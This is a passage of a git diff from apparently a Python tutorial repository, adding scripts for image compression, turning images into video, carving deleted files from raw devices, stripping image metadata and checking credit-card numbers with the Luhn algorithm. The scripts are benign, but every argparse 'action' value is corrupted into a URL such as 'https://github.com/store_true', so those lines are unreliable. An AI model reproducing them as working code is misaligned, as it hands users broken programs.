"\u001b[0m" + ] + } + ], + "source": [ + "!pip install transformers accelerate" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "device(type='cuda', index=0)" + ] + }, + "execution_count": 3, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "import requests\n", + "from PIL import Image\n", + "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n", + "import torch\n", + "import os\n", + "\n", + "device = torch.device(\"cuda\", 0)\n", + "device" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e", + "metadata": {}, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "6b01bf8e2d2a4680ba09d412a2a0286d", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Downloading (…)rocessor_config.json: 0%| | 0.00/432 [00:00 [ ...] +``` + +## Options +- `-o`, `--output-dir`: Output directory (default: same as input) +- `-q`, `--quality`: Compression quality (0-100, default: 85) +- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0) +- `-w`, `--width`: Output width (requires `--height`) +- `-hh`, `--height`: Output height (requires `--width`) +- `-j`, `--to-jpg`: Convert output to JPEG +- `-m`, `--no-metadata`: Strip metadata (default: preserve) +- `-l`, `--lossless`: Use lossless compression (PNG/WEBP) + +## Examples + +```bash +python compress_image.py image.jpg -r 0.5 -q 80 -j +python compress_image.py images/ -o output/ -m +python compress_image.py image.png -l +``` + +## License + +MIT License. diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py index ed16d06a..f1696aa0 100644 --- a/python-for-multimedia/compress-image/compress_image.py +++ b/python-for-multimedia/compress-image/compress_image.py @@ -1,88 +1,104 @@ import os from PIL import Image +import argparse +import logging +from tqdm import tqdm +# Configure logging +logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') +logger = logging.getLogger(__name__) def get_size_format(b, factor=1024, suffix="B"): - """ - Scale bytes to its proper byte format - e.g: - 1253656 => '1.20MB' - 1253656678 => '1.17GB' - """ + """Scale bytes to its proper byte format.""" for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if b < factor: return f"{b:.2f}{unit}{suffix}" b /= factor return f"{b:.2f}Y{suffix}" - - -def compress_img(image_name, new_size_ratio=0.9, quality=90, width=None, height=None, to_jpg=True): - # load the image to memory - img = Image.open(image_name) - # print the original image shape - print("[*] Image shape:", img.size) - # get the original image size in bytes - image_size = os.path.getsize(image_name) - # print the size before compression/resizing - print("[*] Size before compression:", get_size_format(image_size)) - if new_size_ratio < 1.0: - # if resizing ratio is below 1.0, then multiply width & height with this ratio to reduce image size - img = img.resize((int(img.size[0] * new_size_ratio), int(img.size[1] * new_size_ratio)), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - elif width and height: - # if width and height are set, resize with them instead - img = img.resize((width, height), Image.ANTIALIAS) - # print new image shape - print("[+] New Image shape:", img.size) - # split the filename and extension - filename, ext = os.path.splitext(image_name) - # make new filename appending _compressed to the original file name - if to_jpg: - # change the extension to JPEG - new_filename = f"{filename}_compressed.jpg" - else: - # retain the same extension of the original image - new_filename = f"{filename}_compressed{ext}" +def compress_image( + input_path, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress an image with advanced options.""" try: - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - except OSError: - # convert the image to RGB mode first - img = img.convert("RGB") - # save the image with the corresponding quality and optimize set to True - img.save(new_filename, quality=quality, optimize=True) - print("[+] New file saved:", new_filename) - # get the new image size in bytes - new_image_size = os.path.getsize(new_filename) - # print the new size in a good format - print("[+] Size after compression:", get_size_format(new_image_size)) - # calculate the saving bytes - saving_diff = new_image_size - image_size - # print the saving percentage - print(f"[+] Image size change: {saving_diff/image_size*100:.2f}% of the original image size.") - - + img = Image.open(input_path) + logger.info(f"[*] Processing: {os.path.basename(input_path)}") + logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}") + + # Resize if needed + if resize_ratio < 1.0: + new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio)) + img = img.resize(new_size, Image.LANCZOS) + logger.info(f"[+] Resized to: {new_size}") + elif width and height: + img = img.resize((width, height), Image.LANCZOS) + logger.info(f"[+] Resized to: {width}x{height}") + + # Prepare output path + filename, ext = os.path.splitext(os.path.basename(input_path)) + output_ext = ".jpg" if to_jpg else ext + output_filename = f"{filename}_compressed{output_ext}" + output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename) + + # Save with options + save_kwargs = {"quality": quality, "optimize": True} + if not preserve_metadata: + save_kwargs["exif"] = b"" # Strip metadata + if lossless and ext.lower() in (".png", ".webp"): + save_kwargs["lossless"] = True + + try: + img.save(output_path, **save_kwargs) + except OSError: + img = img.convert("RGB") + img.save(output_path, **save_kwargs) + + logger.info(f"[+] Saved to: {output_path}") + logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}") + except Exception as e: + logger.error(f"[!] Error processing {input_path}: {e}") + +def batch_compress( + input_paths, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress multiple images.""" + if output_dir and not os.path.exists(output_dir): + os.makedirs(output_dir, exist_ok=True) + for path in tqdm(input_paths, desc="Compressing images"): + compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless) + if __name__ == "__main__": - import argparse - parser = argparse.ArgumentParser(description="Simple Python script for compressing and resizing images") - parser.add_argument("image", help="Target image to compress and/or resize") - parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Whether to convert the image to the JPEG format") - parser.add_argument("-q", "--quality", type=int, help="Quality ranging from a minimum of 0 (worst) to a maximum of 95 (best). Default is 90", default=90) - parser.add_argument("-r", "--resize-ratio", type=float, help="Resizing ratio from 0 to 1, setting to 0.5 will multiply width & height of the image by 0.5. Default is 1.0", default=1.0) - parser.add_argument("-w", "--width", type=int, help="The new width image, make sure to set it with the `height` parameter") - parser.add_argument("-hh", "--height", type=int, help="The new height for the image, make sure to set it with the `width` parameter") + parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing") + parser.add_argument("input", nargs='+', help="Input image(s) or directory") + parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)") + parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)") + parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)") + parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)") + parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)") + parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG") + parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata") + parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)") + args = parser.parse_args() - # print the passed arguments - print("="*50) - print("[*] Image:", args.image) - print("[*] To JPEG:", args.to_jpg) - print("[*] Quality:", args.quality) - print("[*] Resizing ratio:", args.resize_ratio) - if args.width and args.height: - print("[*] Width:", args.width) - print("[*] Height:", args.height) - print("="*50) - # compress the image - compress_img(args.image, args.resize_ratio, args.quality, args.width, args.height, args.to_jpg) \ No newline at end of file + input_paths = [] + for path in args.input: + if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp"))) + else: input_paths.append(path) + if not input_paths: logger.error("No valid images found!"); exit(1) + batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless) diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md new file mode 100644 index 00000000..43cce95b --- /dev/null +++ b/python-for-multimedia/create-video-from-images/README.md @@ -0,0 +1 @@ +# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python) \ No newline at end of file diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py new file mode 100644 index 00000000..e81efd9a --- /dev/null +++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py @@ -0,0 +1,43 @@ +import cv2 +import argparse +import glob +from pathlib import Path +import shutil + +# Create an ArgumentParser object to handle command-line arguments +parser = argparse.ArgumentParser(description='Create a video from a set of images') + +# Define the command-line arguments +parser.add_argument('output', type=str, help='Output path for video file') +parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images') +parser.add_argument('-fps', type=int, help='FPS for video file', default=24) + +# Parse the command-line arguments +args = parser.parse_args() + +# Create a list of all the input image files +FILES = [] +for i in args.input: + FILES += glob.glob(i) + +# Get the filename from the output path +filename = Path(args.output).name +print(f'Creating video "{filename}" from images "{FILES}"') + +# Load the first image to get the frame size +frame = cv2.imread(FILES[0]) +height, width, layers = frame.shape + +# Create a VideoWriter object to write the video file +fourcc = cv2.VideoWriter_fourcc(*'mp4v') +video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height)) + +# Loop through the input images and add them to the video +for image_path in FILES: + print(f'Adding image "{image_path}" to video "{args.output}"... ') + video.write(cv2.imread(image_path)) + +# Release the VideoWriter and move the output file to the specified location +cv2.destroyAllWindows() +video.release() +shutil.move(filename, args.output) diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/python-for-multimedia/create-video-from-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md new file mode 100644 index 00000000..9b57b100 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/README.md @@ -0,0 +1 @@ +# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python) \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py new file mode 100644 index 00000000..057995c4 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/file_recovery.py @@ -0,0 +1,552 @@ + +import os +import sys +import argparse +import struct +import time +import logging +import subprocess +import signal +from datetime import datetime, timedelta +from pathlib import Path +import binascii + +# File signatures (magic numbers) for common file types +FILE_SIGNATURES = { + 'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])], + 'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])], + 'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])], + 'pdf': [bytes([0x25, 0x50, 0x44, 0x46])], + 'zip': [bytes([0x50, 0x4B, 0x03, 0x04])], + 'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'mp3': [bytes([0x49, 0x44, 0x33])], + 'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])], + 'avi': [bytes([0x52, 0x49, 0x46, 0x46])], +} + +# Additional validation patterns to check after finding the signature +# This helps reduce false positives +VALIDATION_PATTERNS = { + 'docx': [b'word/', b'[Content_Types].xml'], + 'xlsx': [b'xl/', b'[Content_Types].xml'], + 'pptx': [b'ppt/', b'[Content_Types].xml'], + 'zip': [b'PK\x01\x02'], # Central directory header + 'pdf': [b'obj', b'endobj'], +} + +# File endings (trailer signatures) for some file types +FILE_TRAILERS = { + 'jpg': bytes([0xFF, 0xD9]), + 'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]), + 'gif': bytes([0x00, 0x3B]), + 'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]), +} + +# Maximum file sizes to prevent recovering corrupted files +MAX_FILE_SIZES = { + 'jpg': 30 * 1024 * 1024, # 30MB + 'png': 50 * 1024 * 1024, # 50MB + 'gif': 20 * 1024 * 1024, # 20MB + 'pdf': 100 * 1024 * 1024, # 100MB + 'zip': 200 * 1024 * 1024, # 200MB + 'docx': 50 * 1024 * 1024, # 50MB + 'xlsx': 50 * 1024 * 1024, # 50MB + 'pptx': 100 * 1024 * 1024, # 100MB + 'mp3': 50 * 1024 * 1024, # 50MB + 'mp4': 1024 * 1024 * 1024, # 1GB + 'avi': 1024 * 1024 * 1024, # 1GB +} + +class FileRecoveryTool: + def __init__(self, source, output_dir, file_types=None, deep_scan=False, + block_size=512, log_level=logging.INFO, skip_existing=True, + max_scan_size=None, timeout_minutes=None): + """ + Initialize the file recovery tool + + Args: + source (str): Path to the source device or directory + output_dir (str): Directory to save recovered files + file_types (list): List of file types to recover + deep_scan (bool): Whether to perform a deep scan + block_size (int): Block size for reading data + log_level (int): Logging level + skip_existing (bool): Skip existing files in output directory + max_scan_size (int): Maximum number of bytes to scan + timeout_minutes (int): Timeout in minutes + """ + self.source = source + self.output_dir = Path(output_dir) + self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys()) + self.deep_scan = deep_scan + self.block_size = block_size + self.skip_existing = skip_existing + self.max_scan_size = max_scan_size + self.timeout_minutes = timeout_minutes + self.timeout_reached = False + + # Setup logging + self.setup_logging(log_level) + + # Create output directory if it doesn't exist + self.output_dir.mkdir(parents=True, exist_ok=True) + + # Statistics + self.stats = { + 'total_files_recovered': 0, + 'recovered_by_type': {}, + 'start_time': time.time(), + 'bytes_scanned': 0, + 'false_positives': 0 + } + + for file_type in self.file_types: + self.stats['recovered_by_type'][file_type] = 0 + + def setup_logging(self, log_level): + """Set up logging configuration""" + logging.basicConfig( + level=log_level, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.StreamHandler(), + logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log") + ] + ) + self.logger = logging.getLogger('file_recovery') + + def _setup_timeout(self): + """Set up a timeout handler""" + if self.timeout_minutes: + def timeout_handler(signum, frame): + self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!") + self.timeout_reached = True + + # Set the timeout + signal.signal(signal.SIGALRM, timeout_handler) + signal.alarm(int(self.timeout_minutes * 60)) + + def get_device_size(self): + """Get the size of the device or file""" + if os.path.isfile(self.source): + # Regular file + return os.path.getsize(self.source) + else: + # Block device + try: + # Try using blockdev command (Linux) + result = subprocess.run(['blockdev', '--getsize64', self.source], + capture_output=True, text=True, check=True) + return int(result.stdout.strip()) + except (subprocess.SubprocessError, FileNotFoundError): + try: + # Try using ioctl (requires root) + import fcntl + with open(self.source, 'rb') as fd: + # BLKGETSIZE64 = 0x80081272 + buf = bytearray(8) + fcntl.ioctl(fd, 0x80081272, buf) + return struct.unpack('L', buf)[0] + except: + # Last resort: try to seek to the end + try: + with open(self.source, 'rb') as fd: + fd.seek(0, 2) # Seek to end + return fd.tell() + except: + self.logger.warning("Could not determine device size. Using fallback size.") + # Fallback to a reasonable size for testing + return 1024 * 1024 * 1024 # 1GB + + def scan_device(self): + """Scan the device for deleted files""" + self.logger.info(f"Starting scan of {self.source}") + self.logger.info(f"Looking for file types: {', '.join(self.file_types)}") + + try: + # Get device size + device_size = self.get_device_size() + self.logger.info(f"Device size: {self._format_size(device_size)}") + + # Set up timeout if specified + if self.timeout_minutes: + self._setup_timeout() + self.logger.info(f"Timeout set for {self.timeout_minutes} minutes") + + with open(self.source, 'rb', buffering=0) as device: # buffering=0 for direct I/O + self._scan_device_data(device, device_size) + + except (IOError, OSError) as e: + self.logger.error(f"Error accessing source: {e}") + return False + + self._print_summary() + return True + + def _scan_device_data(self, device, device_size): + """Scan the device data for file signatures""" + position = 0 + + # Limit scan size if specified + if self.max_scan_size and self.max_scan_size < device_size: + self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device") + device_size = self.max_scan_size + + # Create subdirectories for each file type + for file_type in self.file_types: + (self.output_dir / file_type).mkdir(exist_ok=True) + + scan_start_time = time.time() + last_progress_time = scan_start_time + + # Read the device in blocks + while position < device_size: + # Check if timeout reached + if self.timeout_reached: + self.logger.warning("Stopping scan due to timeout") + break + + try: + # Seek to position first + device.seek(position) + + # Read a block of data + data = device.read(self.block_size) + if not data: + break + + self.stats['bytes_scanned'] += len(data) + + # Check for file signatures in this block + for file_type in self.file_types: + signatures = FILE_SIGNATURES.get(file_type, []) + + for signature in signatures: + sig_pos = data.find(signature) + + if sig_pos != -1: + # Found a file signature, try to recover the file + absolute_pos = position + sig_pos + device.seek(absolute_pos) + + self.logger.debug(f"Found {file_type} signature at position {absolute_pos}") + + # Recover the file + if self._recover_file(device, file_type, absolute_pos): + self.stats['total_files_recovered'] += 1 + self.stats['recovered_by_type'][file_type] += 1 + else: + self.stats['false_positives'] += 1 + + # Reset position to continue scanning + device.seek(position + self.block_size) + + # Update position and show progress + position += self.block_size + current_time = time.time() + + # Show progress every 5MB or 10 seconds, whichever comes first + if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10): + percent = (position / device_size) * 100 if device_size > 0 else 0 + elapsed = current_time - self.stats['start_time'] + + # Calculate estimated time remaining + if position > 0 and device_size > 0: + bytes_per_second = position / elapsed if elapsed > 0 else 0 + remaining_bytes = device_size - position + eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0 + eta_str = str(timedelta(seconds=int(eta_seconds))) + else: + eta_str = "unknown" + + self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - " + f"{self.stats['total_files_recovered']} files recovered - " + f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}") + last_progress_time = current_time + + except Exception as e: + self.logger.error(f"Error reading at position {position}: {e}") + position += self.block_size # Skip this block and continue + + def _validate_file_content(self, data, file_type): + """ + Additional validation to reduce false positives + + Args: + data: File data to validate + file_type: Type of file to validate + + Returns: + bool: True if file content appears valid + """ + # Check minimum size + if len(data) < 100: + return False + + # Check for validation patterns + patterns = VALIDATION_PATTERNS.get(file_type, []) + if patterns: + for pattern in patterns: + if pattern in data: + return True + return False # None of the patterns were found + + # For file types without specific validation patterns + return True + + def _recover_file(self, device, file_type, start_position): + """ + Recover a file of the given type starting at the given position + + Args: + device: Open file handle to the device + file_type: Type of file to recover + start_position: Starting position of the file + + Returns: + bool: True if file was recovered successfully + """ + max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024) # Default to 10MB + trailer = FILE_TRAILERS.get(file_type) + + # Generate a unique filename + filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}" + output_path = self.output_dir / file_type / filename + + if self.skip_existing and output_path.exists(): + self.logger.debug(f"Skipping existing file: {output_path}") + return False + + # Save the current position to restore later + current_pos = device.tell() + + try: + # Seek to the start of the file + device.seek(start_position) + + # Read the file data + if trailer and self.deep_scan: + # If we know the trailer and deep scan is enabled, read until trailer + file_data = self._read_until_trailer(device, trailer, max_size) + else: + # Otherwise, use heuristics to determine file size + file_data = self._read_file_heuristic(device, file_type, max_size) + + if not file_data or len(file_data) < 100: # Ignore very small files + return False + + # Additional validation to reduce false positives + if not self._validate_file_content(file_data, file_type): + self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}") + return False + + # Write the recovered file + with open(output_path, 'wb') as f: + f.write(file_data) + + self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})") + return True + + except Exception as e: + self.logger.error(f"Error recovering file at position {start_position}: {e}") + return False + finally: + # Restore the original position + try: + device.seek(current_pos) + except: + pass # Ignore seek errors in finally block + + def _read_until_trailer(self, device, trailer, max_size): + """Read data until a trailer signature is found or max size is reached""" + buffer = bytearray() + chunk_size = 4096 + + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Check if trailer is in the buffer + trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size)) + if trailer_pos != -1: + # Found trailer, return data up to and including the trailer + return buffer[:trailer_pos + len(trailer)] + except Exception as e: + self.logger.error(f"Error reading chunk: {e}") + break + + # If we reached max size without finding a trailer, return what we have + return buffer if len(buffer) > 100 else None + + def _read_file_heuristic(self, device, file_type, max_size): + """ + Use heuristics to determine file size when trailer is unknown + This is a simplified approach - real tools use more sophisticated methods + """ + buffer = bytearray() + chunk_size = 4096 + valid_chunks = 0 + invalid_chunks = 0 + + # For Office documents and ZIP files, read a larger initial chunk to validate + initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size + + # Read initial chunk for validation + initial_chunk = device.read(initial_chunk_size) + if not initial_chunk: + return None + + buffer.extend(initial_chunk) + + # For Office documents, check if it contains required elements + if file_type in ['docx', 'xlsx', 'pptx', 'zip']: + # Basic validation for Office Open XML files + if file_type == 'docx' and b'word/' not in initial_chunk: + return None + if file_type == 'xlsx' and b'xl/' not in initial_chunk: + return None + if file_type == 'pptx' and b'ppt/' not in initial_chunk: + return None + if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk: + return None + + # Continue reading chunks + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Simple heuristic: for binary files, check if chunk contains too many non-printable characters + # This is a very basic approach and would need to be refined for real-world use + if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']: + # For binary files, we continue reading until we hit max size or end of device + valid_chunks += 1 + + # For ZIP-based formats, check for corruption + if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10: + # If we've read several chunks and don't see any more PK signatures, we might be past the file + invalid_chunks += 1 + + else: + # For text files, we could check for text validity + printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk) + if printable_ratio < 0.7: # If less than 70% printable characters + invalid_chunks += 1 + else: + valid_chunks += 1 + + # If we have too many invalid chunks in a row, stop + if invalid_chunks > 3: + return buffer[:len(buffer) - (invalid_chunks * chunk_size)] + except Exception as e: + self.logger.error(f"Error reading chunk in heuristic: {e}") + break + + return buffer + + def _format_size(self, size_bytes): + """Format size in bytes to a human-readable string""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size_bytes < 1024 or unit == 'TB': + return f"{size_bytes:.2f} {unit}" + size_bytes /= 1024 + + def _print_summary(self): + """Print a summary of the recovery operation""" + elapsed = time.time() - self.stats['start_time'] + + self.logger.info("=" * 50) + self.logger.info("Recovery Summary") + self.logger.info("=" * 50) + self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}") + self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}") + self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}") + self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}") + self.logger.info("Files recovered by type:") + + for file_type, count in self.stats['recovered_by_type'].items(): + if count > 0: + self.logger.info(f" - {file_type}: {count}") + + if self.timeout_reached: + self.logger.info("Note: Scan was stopped due to timeout") + + self.logger.info("=" * 50) + + +def main(): + """Main function to parse arguments and run the recovery tool""" + parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices') + + parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)') + parser.add_argument('output', help='Directory to save recovered files') + + parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None, + help='File types to recover (default: all supported types)') + + parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true', + help='Perform a deep scan (slower but more thorough)') + + parser.add_argument('-b', '--block-size', type=int, default=512, + help='Block size for reading data (default: 512 bytes)') + + parser.add_argument('-v', '--verbose', action='https://github.com/store_true', + help='Enable verbose output') + + parser.add_argument('-q', '--quiet', action='https://github.com/store_true', + help='Suppress all output except errors') + + parser.add_argument('--no-skip', action='https://github.com/store_true', + help='Do not skip existing files in output directory') + + parser.add_argument('--max-size', type=int, + help='Maximum size to scan in MB (e.g., 1024 for 1GB)') + + parser.add_argument('--timeout', type=int, default=None, + help='Stop scanning after specified minutes') + + args = parser.parse_args() + + # Set logging level based on verbosity + if args.quiet: + log_level = logging.ERROR + elif args.verbose: + log_level = logging.DEBUG + else: + log_level = logging.INFO + + # Convert max size from MB to bytes if specified + max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None + + # Create and run the recovery tool + recovery_tool = FileRecoveryTool( + source=args.source, + output_dir=args.output, + file_types=args.types, + deep_scan=args.deep_scan, + block_size=args.block_size, + log_level=log_level, + skip_existing=not args.no_skip, + max_scan_size=max_scan_size, + timeout_minutes=args.timeout + ) + + try: + recovery_tool.scan_device() + except KeyboardInterrupt: + print("\nRecovery process interrupted by user.") + recovery_tool._print_summary() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md new file mode 100644 index 00000000..f1fd7f5c --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python) \ No newline at end of file diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py new file mode 100644 index 00000000..093f6432 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py @@ -0,0 +1,33 @@ +# Import necessary libraries. +import argparse +from PIL import Image + + +# Function to clear Metadata from a specified image. +def clear_all_metadata(imgname): + + # Open the image file + img = Image.open(imgname) + + # Read the image data, excluding metadata. + data = list(img.getdata()) + + # Create a new image with the same mode and size but without metadata. + img_without_metadata = Image.new(img.mode, img.size) + img_without_metadata.putdata(data) + + # Save the new image over the original file, effectively removing metadata. + img_without_metadata.save(imgname) + + print(f"Metadata successfully cleared from '{imgname}'.") + +# Setup command line argument parsing +parser = argparse.ArgumentParser(description="Remove metadata from an image file.") +parser.add_argument("img", help="Image file from which to remove metadata") + +# Parse arguments +args = parser.parse_args() + +# If an image file is provided, clear its metadata +if args.img: + clear_all_metadata(args.img) diff --git a/python-for-multimedia/remove-metadata-from-images/requirements.txt b/python-for-multimedia/remove-metadata-from-images/requirements.txt new file mode 100644 index 00000000..5873a222 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/requirements.txt @@ -0,0 +1 @@ +Pillow \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/README.md b/python-standard-library/credit-card-validation/README.md new file mode 100644 index 00000000..bee74fdd --- /dev/null +++ b/python-standard-library/credit-card-validation/README.md @@ -0,0 +1 @@ +# [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python) \ No newline at end of file diff --git a/python-standard-library/credit-card-validation/credit_card_validation.py b/python-standard-library/credit-card-validation/credit_card_validation.py new file mode 100644 index 00000000..57a82f5b --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_card_validation.py @@ -0,0 +1,85 @@ +import argparse # Import argparse for command-line argument parsing +import re # Import re for regular expression matching + +# Validate credit card number using Luhn Algorithm +def luhn_algorithm(card_number): + def digits_of(n): + return [int(d) for d in str(n)] # Convert each character in the number to an integer + + digits = digits_of(card_number) # Get all digits of the card number + odd_digits = digits[-1::-2] # Get digits from the right, skipping one digit each time (odd positions) + even_digits = digits[-2::-2] # Get every second digit from the right (even positions) + + checksum = sum(odd_digits) # Sum all odd position digits + for d in even_digits: + checksum += sum(digits_of(d*2)) # Double each even position digit and sum the resulting digits + + return checksum % 10 == 0 # Return True if checksum modulo 10 is 0 + + +# Function to check credit card number using Luhn's alogorithm +def check_credit_card_number(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + if not card_number.isdigit(): # Check if the card number contains only digits + return False + return luhn_algorithm(card_number) # Validate using the Luhn algorithm + +# Function to get the card type based on card number using RegEx +def get_card_type(card_number): + card_number = card_number.replace(' ', '') # Remove spaces from the card number + card_types = { + "Visa": r"^4[0-9]{12}(?:[0-9]{3})?$", # Visa: Starts with 4, length 13 or 16 + "MasterCard": r"^5[1-5][0-9]{14}$", # MasterCard: Starts with 51-55, length 16 + "American Express": r"^3[47][0-9]{13}$", # AmEx: Starts with 34 or 37, length 15 + "Discover": r"^6(?:011|5[0-9]{2})[0-9]{12}$", # Discover: Starts with 6011 or 65, length 16 + "JCB": r"^(?:2131|1800|35\d{3})\d{11}$", # JCB: Starts with 2131, 1800, or 35, length 15 or 16 + "Diners Club": r"^3(?:0[0-5]|[68][0-9])[0-9]{11}$", # Diners Club: Starts with 300-305, 36, or 38, length 14 + "Maestro": r"^(5018|5020|5038|56|57|58|6304|6759|676[1-3])\d{8,15}$", # Maestro: Various starting patterns, length 12-19 + "Verve": r"^(506[01]|507[89]|6500)\d{12,15}$" # Verve: Starts with 5060, 5061, 5078, 5079, or 6500, length 16-19 + } + + for card_type, pattern in card_types.items(): + if re.match(pattern, card_number): # Check if card number matches the pattern + return card_type + return "Unknown" # Return Unknown if no pattern matches + + +# Processing a file containing 